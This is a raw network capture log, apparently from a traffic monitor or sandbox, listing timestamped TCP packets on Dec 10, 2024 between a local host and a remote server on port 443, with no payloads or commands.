Dec 10, 2024 12:48:43.620147943 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.621115923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.621133089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.621185064 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.621191025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.621233940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.623049974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.623069048 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.623126030 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.623132944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.623244047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.624927044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.624942064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.624999046 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.625004053 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.625050068 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.625901937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.625921011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.625955105 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.625960112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.625983000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.626007080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.627799034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.627815962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.627861977 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.627866983 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.627912045 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.629662991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.629678965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.629719973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.629724979 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.629751921 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.629770994 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.631561995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.638107061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.638127089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.638180017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.638187885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.638231993 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.639116049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.639132023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.639183044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.639188051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.639231920 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.640002012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.640016079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.640064955 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.640070915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.640111923 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.641798019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.641814947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.641868114 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.641872883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.641916037 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.642838001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.642855883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.642895937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.642899990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.642927885 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.642941952 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.643820047 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.643841028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.643882036 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.643887997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.643913984 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.643932104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.645622015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.645637035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.645684004 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.645689011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.645733118 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.646529913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.646549940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.646600962 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.646605968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.646647930 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.665956974 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.665973902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.666018963 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.666024923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.666050911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.666065931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.671984911 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.671999931 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.672053099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.672059059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.672101974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.677943945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.677961111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.678011894 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.678018093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.678059101 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.683909893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.683924913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.683968067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.683973074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.684000015 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.684019089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.689233065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.689254045 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.689340115 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.689346075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.689388990 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.715234995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.738835096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.738852024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.738925934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.738931894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.738980055 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.744092941 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.744107962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.744170904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.744177103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.744226933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.749952078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.749967098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.750030994 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.750036955 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.750088930 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.858984947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.859003067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.859106064 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.859114885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.859160900 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.864245892 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.864262104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.864334106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.864345074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.864393950 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.870266914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.870282888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.870347977 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.870353937 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.870393991 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.876255989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.876271963 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.876339912 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.876353025 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.876400948 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.881448030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.881463051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.881534100 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.881542921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.881581068 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.887801886 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.887816906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.887871027 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.887876987 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.887917995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.893099070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.893119097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.893188953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.893194914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.893237114 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.899060011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.899075985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.899132967 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:43.899138927 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:43.899179935 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.036442995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.051201105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.051217079 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.051291943 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.051301956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.051351070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.056504011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.056520939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.056580067 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.056586981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.056632042 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.062670946 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.062685013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.062757015 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.062762022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.062808990 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.068402052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.068418980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.068487883 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.068494081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.068538904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.073623896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.073637962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.073689938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.073694944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.073738098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.079977036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.079993010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.080048084 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.080054998 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.080097914 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.085243940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.085261106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.085315943 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.085321903 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.085365057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.091243029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.091258049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.091305017 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.091332912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.091353893 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.091368914 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.246910095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.246928930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.246989965 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.247014999 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.247036934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.247056961 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.248590946 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.248605967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.248660088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.248672962 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.248707056 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.254539013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.254564047 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.254597902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.254621029 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.254637003 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.254667044 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.260508060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.260525942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.260585070 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.260608912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.260656118 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.266488075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.266505003 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.266563892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.266587973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.266630888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.272110939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.272128105 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.272182941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.272207022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.272250891 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.278122902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.278137922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.278197050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.278218985 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.278266907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.283380032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.283396006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.283463955 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.283488035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.283525944 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.302200079 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.435549021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.435573101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.435626984 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.435656071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.435672045 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.435700893 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.440939903 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.440956116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.441008091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.441015005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.441056013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.446834087 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.446852922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.446892023 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.446897984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.446926117 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.446947098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.452693939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.452713013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.452754021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.452759981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.452791929 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.452810049 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.457952976 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.457968950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.458023071 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.458029032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.458072901 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.467653036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.467669010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.467752934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.467758894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.467768908 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.467796087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.471349001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.471369028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.471427917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.471434116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.471479893 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.477534056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.477550030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.477606058 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.477611065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.477655888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.627756119 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.627779961 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.627829075 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.627837896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.627885103 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.627916098 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.633611917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.633632898 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.633676052 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.633682966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.633716106 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.633737087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.638951063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.638972044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.639054060 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.639060020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.639106035 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.645658016 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.645682096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.645778894 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.645783901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.645822048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.650823116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.650846004 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.650948048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.650958061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.651015043 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.656438112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.656456947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.656727076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.656730890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.656791925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.662445068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.662465096 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.662662029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.662667990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.662713051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.667772055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.667803049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.667877913 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.667884111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.667928934 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.688626051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.819840908 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.819871902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.819962025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.819988966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.820040941 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.825751066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.825768948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:44.825843096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:44.825849056 CET	443	49729	47.254.218.16	192.168.2.17
